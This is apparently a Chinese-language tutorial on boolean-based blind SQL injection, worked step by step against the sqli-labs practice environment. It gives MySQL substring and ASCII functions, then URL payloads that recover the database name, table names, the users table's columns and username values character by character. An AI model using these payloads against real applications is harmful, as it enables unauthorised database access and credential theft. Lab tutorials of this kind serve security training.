盲注常用函数:
left(a,b)从左侧截取 a 的前 b 位
substr(a,b,c)从 b 位置开始,截取字符串 a 的 c 长度。
mid(a,b,c)从位置 b 开始,截取 a 字符串的 c 位
ascii(str)返回给定字符的ascii值,如 ascii("a")=97
ord()函数同 ascii(),将字符转为 ascii 值
length(str)返回给定字符串的长度,如 length("string")=6
substr(a,b,c) 图中在当前mysql数据库的库名从第一个字符开始取了两个字符
还可以通过ASCII和MD5来显示
length(str)图中返回了mysql数据库的数据库字符串的长度5
以sqli dumb series-25为例进行SQL盲注
先判断出了为字符型注入,找边界值
边界值为3,找回显位
发现无回显,判断为盲注,可以找数据库名字符串长度
?id=1 'and length(database())>1 %23
发现大于8报错,所以database()返回值为8,即数据库名字符串位数为8
接着通过ASCII码用二分法猜取数据库名
?id=1 'and ascii(substr(select database(),1,1))>1 %23
确定第一个字符ASCII码为115,即s
以此类推一个一个猜
第二个为101,即e
以此类推得到数据库名为security,刚好8个字符
接下来可以猜数据库里表的数量
?id=1 'and (select count(table_name) from information_schema.tables where table_schema='security')>1 %23
或
?id=1 'and (select count(table_name) from information_schema.tables where table_schema=database())>1 %23
得到有四个表
然后查第一个表的表名长度(limit第一个参数为0即查第0+1个表)
?id=1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1)))>1 %23
这里substr只有两个参数(详细参考下边资料),limit a,b 后缀两个参数的时候(/*参数必须是一个整数常量*/),其中第一个参数是指记录开始的偏移量,第二个参数是指从第a+1条开始,取b条记录。
得到第一个表的表名长度为6
接下来查表名(limit第一个参数为0即查第3+1个表)
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))>1%23
这里我们是要把所有表名的长度和表名都查出来
查出来是第四个表的名字为users ,其他列名这里就不一一写出来了
接下来查users表下列名的数量
?id=1 'and (select count(column_name) from information_schema.columns where table_name='users')>1 %23
查出有3列
查各个列的列名的长度(limit第一个参数为0即查第0+1个列)
?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>1%23
第一列的列名长度为2 -->
第二列的列名长度为8 -->username
第三列的列名长度为8 -->password
接下来查users表里的列名(limit第一个参数为1即查第1+1个列名)
?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 1,1) ,1,1))>1%23
第一列列名为
第二列列名为username
第三列列名为password
接下来查username这一列的值的数量(limit第一个参数为1即查第1+1个列)
?id=1' and length((select count(username) from users limit 1,1))>1 %23
数量为2
查username第一个值的长度(limit第一个参数为0即查第0+1个值)
?id=1' and length((select username from users limit 0,1))>1 %23
第二个值的长度
?id=1' and length((select username from users limit 1,1))>1 %23
查username的第一个值(limit第一个参数为0即查第0+1个字符)
?id=1' and ascii(substr((select username from users limit 0,1),1,1))>1 %23